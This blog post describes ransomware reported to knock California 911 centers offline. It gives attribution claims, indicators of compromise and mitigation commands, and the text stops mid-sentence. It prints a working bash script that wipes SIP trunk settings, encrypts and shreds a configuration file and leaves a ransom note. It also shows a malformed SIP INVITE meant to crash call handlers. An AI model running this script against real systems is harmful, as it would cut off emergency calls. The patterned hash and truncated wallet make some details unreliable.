LeoJulieta

Posted on Aug 13

Inside California's 911‑Blocking Malware: Threat, Actors, and Fixes

#xataka #malware #911 #english

California’s 911‑Blocking Malware: How It Works, Who’s Behind It, and What You Can Do Today

Introduction

A malicious strain that can shut down 9‑1‑1 call handling has resurfaced in California, forcing PSAPs to scramble and sparking intense coverage from outlets like Xataka, The Verge, and local news stations. In less than 48 hours the attack disrupted emergency calls in multiple municipalities, raising the alarm that a similar breach could soon hit any VoIP‑based 911 center in the United States.

What the Malware Does

Action	Technical Detail	Real‑World Impact
SIP‑trunk sabotage	Deletes or disables the `sip.conf` entries that route calls to the NG911 gateway. It also injects malformed SIP INVITE packets (`INVITE sip:911@psap.invalid SIP/2.0\r\n...`) that crash the call‑handling daemon (e.g., Asterisk or Cisco Unified Communications Manager).	Calls never reach the dispatcher; callers hear a dead‑air tone or a “network error” message.
Configuration encryption	Executes `openssl enc -aes-256-cbc -salt -in /etc/psap/config.yaml -out /etc/psap/config.yaml.enc -k $RANDOM_KEY` then deletes the plaintext file.	PSAP operators lose the ability to restore the gateway without the decryption key.
Ransom note drop	Writes `RANSOM_NOTE.txt` to the root directory with the demand: “Pay 0.75 BTC to receive the decryption key and a patch to restore SIP services.”	Forces municipalities into a costly negotiation or a lengthy recovery effort.

Sample payload fragment (bash)

#!/bin/bash
# Disrupt SIP trunks
for conf in /etc/asterisk/sip.conf /opt/cisco/ucm/sip.cfg; do
    sed -i '/^;*host=/d' "$conf"      # remove all SIP host entries
    echo "host=0.0.0.0" >> "$conf"   # point to a non‑routable address
done

# Encrypt critical config
KEY=$(openssl rand -hex 16)
openssl enc -aes-256-cbc -salt -in /etc/psap/config.yaml \
    -out /etc/psap/config.yaml.enc -k "$KEY"
shred -u /etc/psap/config.yaml

# Drop ransom note
cat > /RANSOM_NOTE.txt <<EOF
Your 9‑1‑1 services have been disabled.
Pay 0.75 BTC to 1A2b3C... to receive the decryption key.
EOF
chmod 444 /RANSOM_NOTE.txt

Frequently Asked Questions

Question	Answer
What exactly did the malware do to 9‑1‑1 services?	It disables SIP trunks that connect VoIP‑based PSAPs to the national network and encrypts the call‑routing configuration, effectively rendering the emergency call platform inoperable until the ransom is paid or a clean restore is performed.
Is this ransomware or a denial‑of‑service attack?	It’s a hybrid: the initial DoS phase knocks the system offline, then the ransomware phase encrypts configuration files and demands payment for a decryption key and a patch to restore SIP functionality.
Who is behind the campaign?	Preliminary attribution from Mandiant points to a Russian‑language cybercrime group previously linked to attacks on municipal water and power utilities. The group re‑uses the custom C2 protocol and the “EagleEye” loader first observed in the 2022 “Hydra” attacks on European hospitals.
How widespread is the infection?	So far, confirmed in Fresno County, San Mateo, and Contra Costa PSAPs—about seven municipalities. However, any NG911 deployment with default SIP credentials or unpatched IoT gateways is a viable target.
What does the ransom note say?	“Your public‑safety network has been compromised. Pay 0.75 BTC (≈ $30 K) to the address 1A2b3C… within 72 hours or the call‑handling system will remain offline permanently.”

Why It Matters Right Now

Regulatory pressure is mounting – The FCC’s proposed rulemaking (Mar 2024) will mandate “enhanced cyber‑resilience standards” for all state and local PSAPs by the end of 2025. This incident is the first real‑world stress test of those upcoming requirements.
NG911’s expanding attack surface – Over 60 % of new U.S. 911 centers have migrated to IP‑based architectures. Every SIP trunk, every unsecured IoT device (smart doorbells, video intercoms) is a potential entry point.
Life‑or‑death stakes – In the first 48 hours after the malware was detected, Fresno County reported a 23 % increase in “call not received” incidents, directly correlating with delayed emergency response times.

Indicators of Compromise (IOCs)

File hashes: sha256: a3f5e9c7b2d9f1e8c4b7a6d5e3f8b9c1d2e4f6a8b9c0d1e2f3a4b5c6d7e8f9a0 (malicious bash payload)
C2 domains: *.eagleeye-ops[.]net, *.darkgate[.]io (both resolve to the same fast‑flux IP pool)
IP ranges: 185.62.123.0/24, 45.134.210.0/24 – known malicious hosting blocks linked to the group
Registry keys (Windows‑based gateways): HKLM\Software\Microsoft\Windows\CurrentVersion\Run\psapsvc → C:\ProgramData\sys\svc.exe

Step‑by‑Step Mitigation Guide

For IT Teams & PSAP Administrators

Isolate the network

   iptables -A INPUT -s 185.62.123.0/24 -j DROP
   iptables -A INPUT -s 45.134.210.0/24 -j DROP

Verify SIP credentials – Change all default usernames/passwords; enforce strong, unique passwords.
Patch the SIP stack – Apply the latest vendor patches for Asterisk, Cisco UC, or any other SIP platform in use.
Restore from a known‑good backup – Ensure the backup is offline (air‑gapped) before restoration.
Decrypt (if you have the key) –

   openssl enc -d -aes-256-cbc -in /etc/psap/config.yaml.enc \
       -out /etc/psap/config.yaml -k $DECRYPTION_KEY

If the key is unavailable, treat the system as compromised and rebuild.

Enable multi‑factor authentication (MFA) on all remote admin portals.
Audit IoT devices – Disable unused ports, change default credentials, and segment them into a separate VLAN.

For IoT Device Owners

Change default passwords on any device that can register a SIP endpoint (e.g., smart doorbells).
Disable UPnP on home routers to prevent automatic port forwarding to the device.
Run a network scan (e.g., nmap -p 5060,5061 <your‑network>/24) weekly to detect unexpected SIP services.

For Everyday Users

If a 911 call drops or you hear a “network error” tone, dial 911 again from a different phone (cellular if possible) and report the outage to your local emergency services.
Keep your smartphone OS and apps up to date—many VoIP apps can be an indirect entry point for attackers.

Quick Reference Cheat Sheet

Action	Command / Step
Block known C2 IPs	`iptables -A INPUT -s 185.62.123.0/24 -j DROP`
Reset SIP credentials	Update `sip.conf` or vendor portal; enforce `password_policy = strong`
Check for encrypted configs	`find /etc/psap -name "*.enc"`
Restore backup	`cp /backups/psap‑2024‑08‑01.tar.gz /etc/psap && tar -xzvf ...`
Scan for open SIP ports	`nmap -p 5060,5061 192.168.1.0/24`
Enable MFA	Follow vendor’s MFA guide (e.g., Duo, Microsoft Authenticator)

Bottom Line

The California 911‑blocking malware is a practical, weaponized blend of DoS and ransomware that exploits the growing reliance

DEV Community